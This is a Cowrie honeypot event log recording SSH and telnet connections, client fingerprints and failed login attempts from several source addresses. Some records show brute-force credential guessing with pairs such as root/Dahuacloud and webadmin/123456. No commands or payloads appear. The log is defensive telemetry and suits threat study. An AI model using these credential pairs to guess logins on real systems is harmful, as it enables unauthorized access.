{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:20:56.874557Z","src_ip":"120.28.109.188","session":"91bc5bcfcb9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:20:57.134275Z","src_ip":"120.28.109.188","session":"91bc5bcfcb9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"git","message":"login attempt [ubuntu/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:20:58.202991Z","src_ip":"120.28.109.188","session":"91bc5bcfcb9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:20:59.466413Z","src_ip":"120.28.109.188","session":"91bc5bcfcb9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":49818,"dst_ip":"159.203.135.109","dst_port":22,"session":"758144b0afb2","protocol":"ssh","message":"New connection: 120.28.109.188:49818 (159.203.135.109:22) [session: 758144b0afb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:21:56.671734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:21:56.675730Z","src_ip":"120.28.109.188","session":"758144b0afb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:21:56.934247Z","src_ip":"120.28.109.188","session":"758144b0afb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"12332!","message":"login attempt [deploy/12332!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:21:58.003404Z","src_ip":"120.28.109.188","session":"758144b0afb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:21:59.265344Z","src_ip":"120.28.109.188","session":"758144b0afb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":1881,"dst_ip":"10.17.0.5","dst_port":23,"session":"19f5368a6e6e","protocol":"telnet","message":"New connection: 212.55.149.117:1881 (10.17.0.5:23) [session: 19f5368a6e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:22:19.367376Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":52764,"dst_ip":"10.17.0.5","dst_port":23,"session":"48831b596e11","protocol":"telnet","message":"New connection: 212.55.149.117:52764 (10.17.0.5:23) [session: 48831b596e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:22:29.292421Z"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":58258,"dst_ip":"159.203.135.109","dst_port":22,"session":"e425db1d3253","protocol":"ssh","message":"New connection: 120.28.109.188:58258 (159.203.135.109:22) [session: e425db1d3253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:22:59.487350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:22:59.491781Z","src_ip":"120.28.109.188","session":"e425db1d3253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:22:59.750990Z","src_ip":"120.28.109.188","session":"e425db1d3253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"123456","message":"login attempt [webadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:00.818474Z","src_ip":"120.28.109.188","session":"e425db1d3253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":9383,"dst_ip":"10.17.0.5","dst_port":22,"session":"f00c2254333d","protocol":"ssh","message":"New connection: 213.209.159.56:9383 (10.17.0.5:22) [session: f00c2254333d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:01.718581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:01.795556Z","src_ip":"213.209.159.56","session":"f00c2254333d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:01.874472Z","src_ip":"213.209.159.56","session":"f00c2254333d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:02.080465Z","src_ip":"120.28.109.188","session":"e425db1d3253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linsey","password":"linsey","message":"login attempt [linsey/linsey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:02.236390Z","src_ip":"213.209.159.56","session":"f00c2254333d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linsey","password":"linsey1","message":"login attempt [linsey/linsey1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:03.321294Z","src_ip":"213.209.159.56","session":"f00c2254333d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linsey","password":"linsey123","message":"login attempt [linsey/linsey123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:04.429760Z","src_ip":"213.209.159.56","session":"f00c2254333d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linsey","password":"linsey1234","message":"login attempt [linsey/linsey1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:05.516313Z","src_ip":"213.209.159.56","session":"f00c2254333d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linsey","password":"linsey12345","message":"login attempt [linsey/linsey12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:06.601796Z","src_ip":"213.209.159.56","session":"f00c2254333d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:07.687140Z","src_ip":"213.209.159.56","session":"f00c2254333d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":61560,"dst_ip":"159.203.135.109","dst_port":22,"session":"84347de2566c","protocol":"ssh","message":"New connection: 194.59.206.2:61560 (159.203.135.109:22) [session: 84347de2566c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:15.643744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:15.648936Z","src_ip":"194.59.206.2","session":"84347de2566c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:15.742185Z","src_ip":"194.59.206.2","session":"84347de2566c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:15.829153Z","src_ip":"194.59.206.2","session":"84347de2566c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":50560,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eb734920448","protocol":"ssh","message":"New connection: 103.15.226.202:50560 (10.17.0.5:22) [session: 4eb734920448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:21.083433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:21.087862Z","src_ip":"103.15.226.202","session":"4eb734920448","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:21.334542Z","src_ip":"103.15.226.202","session":"4eb734920448","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dahuacloud","message":"login attempt [root/Dahuacloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:22.078075Z","src_ip":"103.15.226.202","session":"4eb734920448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:23:23.328125Z","src_ip":"103.15.226.202","session":"4eb734920448","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":46060,"dst_ip":"159.203.135.109","dst_port":22,"session":"da80a39c7e9b","protocol":"ssh","message":"New connection: 120.28.109.188:46060 (159.203.135.109:22) [session: da80a39c7e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:24:00.775335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:24:00.780622Z","src_ip":"120.28.109.188","session":"da80a39c7e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:24:01.040047Z","src_ip":"120.28.109.188","session":"da80a39c7e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin2024.","message":"login attempt [sysadmin/sysadmin2024.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:24:02.108128Z","src_ip":"120.28.109.188","session":"da80a39c7e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:24:03.370856Z","src_ip":"120.28.109.188","session":"da80a39c7e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01734828948975,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:24:19.384603Z","src_ip":"212.55.149.117","session":"19f5368a6e6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00872087478638,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:24:29.301004Z","src_ip":"212.55.149.117","session":"48831b596e11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":33922,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d0f42253d56","protocol":"ssh","message":"New connection: 120.28.109.188:33922 (159.203.135.109:22) [session: 8d0f42253d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:25:01.994694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:25:02.001419Z","src_ip":"120.28.109.188","session":"8d0f42253d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:25:02.261846Z","src_ip":"120.28.109.188","session":"8d0f42253d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"ftptest","message":"login attempt [testftp/ftptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:25:03.332274Z","src_ip":"120.28.109.188","session":"8d0f42253d56","protocol":"ssh"}
